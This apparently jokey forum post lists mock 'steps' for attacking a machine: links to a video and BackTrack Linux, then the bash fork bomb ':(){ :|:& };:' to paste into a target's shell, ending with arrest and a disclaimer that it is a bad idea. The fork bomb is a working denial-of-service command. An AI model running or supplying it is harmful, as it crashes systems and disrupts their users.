Step 1:
www.youtube.com/watch?v=mSmbdwCVl9E
http://www.backtrack-linux.org/

Step 2:
Drop this in a shell (assuming the target can interpret bash) :(){ :|:& };:

Step 3:
Laugh heartily and disconnect

Step 4:
Receive free silver bracelets from your local law enforcement agency.

For clarity, the above is a decidedly bad idea.